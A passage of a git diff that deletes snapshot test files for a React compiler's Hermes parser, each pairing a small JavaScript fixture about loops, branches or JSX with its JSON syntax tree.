-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        68,
-                        69
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      64,
-                      69
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    70
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                58,
-                74
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              45,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  78,
-                  79
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  82,
-                  83
-                ]
-              },
-              "loc": null,
-              "range": [
-                78,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              84
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          86
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        86
-      ],
-      "loc": null,
-      "range": [
-        0,
-        86
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    86
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-of.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-of.js.snap
deleted file mode 100644
index 00d906b3da86..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-of.js.snap
+++ /dev/null
@@ -1,296 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-for-of.js
----
-Input:
-function foo(cond) {
-  let items = [];
-  for (const item of items) {
-    let y = 0;
-    if (cond) {
-      y = 1;
-    }
-  }
-  return items;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "cond",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    27,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  27,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              38
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      56
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                56
-              ]
-            },
-            "right": {
-              "type": "Identifier",
-              "name": "items",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                60,
-                65
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          77,
-                          78
-                        ]
-                      },
-                      "init": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          81,
-                          82
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        77,
-                        82
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    73,
-                    83
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "cond",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      92,
-                      96
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              106,
-                              107
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              110,
-                              111
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            106,
-                            111
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          112
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      98,
-                      118
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    118
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                67,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              41,
-              122
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "items",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                132,
-                137
-              ]
-            },
-            "loc": null,
-            "range": [
-              125,
-              138
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          140
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        140
-      ],
-      "loc": null,
-      "range": [
-        0,
-        140
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    140
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-trivial-update.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-trivial-update.js.snap
deleted file mode 100644
index bbc3d0699a8d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for-trivial-update.js.snap
+++ /dev/null
@@ -1,250 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-for-trivial-update.js
----
-Input:
-function foo() {
-  let x = 1;
-  for (let i = 0; i < 10; /* update is intentally a single identifier */ i) {
-    x += 1;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      42
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      45,
-                      46
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    41,
-                    46
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                37,
-                46
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  52,
-                  54
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                54
-              ]
-            },
-            "update": {
-              "type": "Identifier",
-              "name": "i",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                103,
-                104
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        112,
-                        113
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        117,
-                        118
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      112,
-                      118
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    112,
-                    119
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                106,
-                123
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                133,
-                134
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              135
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          137
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        137
-      ],
-      "loc": null,
-      "range": [
-        0,
-        137
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    137
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for.js.snap
deleted file mode 100644
index e97d4faf54cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-for.js.snap
+++ /dev/null
@@ -1,260 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-for.js
----
-Input:
-function foo() {
-  let x = 1;
-  for (let i = 0; i < 10; i++) {
-    x += 1;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      41,
-                      42
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      45,
-                      46
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    41,
-                    46
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                37,
-                46
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  52,
-                  54
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                54
-              ]
-            },
-            "update": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  56,
-                  57
-                ]
-              },
-              "prefix": false,
-              "loc": null,
-              "range": [
-                56,
-                59
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        72,
-                        73
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      67,
-                      73
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    74
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                61,
-                78
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              78
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "loc": null,
-            "range": [
-              81,
-              90
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          92
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        92
-      ],
-      "loc": null,
-      "range": [
-        0,
-        92
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    92
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-if-else.js.snap
deleted file mode 100644
index f1f82f48c89d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-if-else.js.snap
+++ /dev/null
@@ -1,277 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-if-else.js
----
-Input:
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (y) {
-    let z = x + y;
-  } else {
-    let z = x;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  41
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              32,
-              42
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                50,
-                51
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          63,
-                          64
-                        ]
-                      },
-                      "init": {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            67,
-                            68
-                          ]
-                        },
-                        "operator": "+",
-                        "right": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            71,
-                            72
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        63,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    59,
-                    73
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                53,
-                77
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          93,
-                          94
-                        ]
-                      },
-                      "init": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          98
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        93,
-                        98
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    89,
-                    99
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                83,
-                103
-              ]
-            },
-            "loc": null,
-            "range": [
-              46,
-              103
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          105
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        105
-      ],
-      "loc": null,
-      "range": [
-        0,
-        105
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    105
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-leave-case.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-leave-case.js.snap
deleted file mode 100644
index 76a7201fcabb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-leave-case.js.snap
+++ /dev/null
@@ -1,432 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-leave-case.js
----
-Input:
-function Component(props) {
-  let x = [];
-  let y;
-  if (props.p0) {
-    x.push(props.p1);
-    y = x;
-  }
-  return (
-    <Component>
-      {x}
-      {y}
-    </Component>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              44,
-              50
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  62
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "p0",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  65
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                57,
-                65
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        79
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            80,
-                            85
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "p1",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            86,
-                            88
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          80,
-                          88
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      73,
-                      89
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    90
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        95,
-                        96
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        100
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      95,
-                      100
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    101
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                67,
-                105
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              53,
-              105
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    122,
-                    131
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  121,
-                  132
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    132,
-                    139
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      140,
-                      141
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    139,
-                    142
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    142,
-                    149
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      150,
-                      151
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    149,
-                    152
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    152,
-                    157
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    159,
-                    168
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  157,
-                  169
-                ]
-              },
-              "loc": null,
-              "range": [
-                121,
-                169
-              ]
-            },
-            "loc": null,
-            "range": [
-              108,
-              174
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          176
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        176
-      ],
-      "loc": null,
-      "range": [
-        0,
-        176
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    176
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-multiple-phis.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-multiple-phis.js.snap
deleted file mode 100644
index 275ae950fa66..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-multiple-phis.js.snap
+++ /dev/null
@@ -1,473 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-multiple-phis.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = 0;
-  if (true) {
-    if (true) {
-      x = a;
-    } else {
-      x = b;
-    }
-    x;
-  } else {
-    if (true) {
-      x = c;
-    } else {
-      x = d;
-    }
-    x;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              39
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BooleanLiteral",
-              "value": true,
-              "loc": null,
-              "range": [
-                46,
-                50
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BooleanLiteral",
-                    "value": true,
-                    "loc": null,
-                    "range": [
-                      62,
-                      66
-                    ]
-                  },
-                  "consequent": {
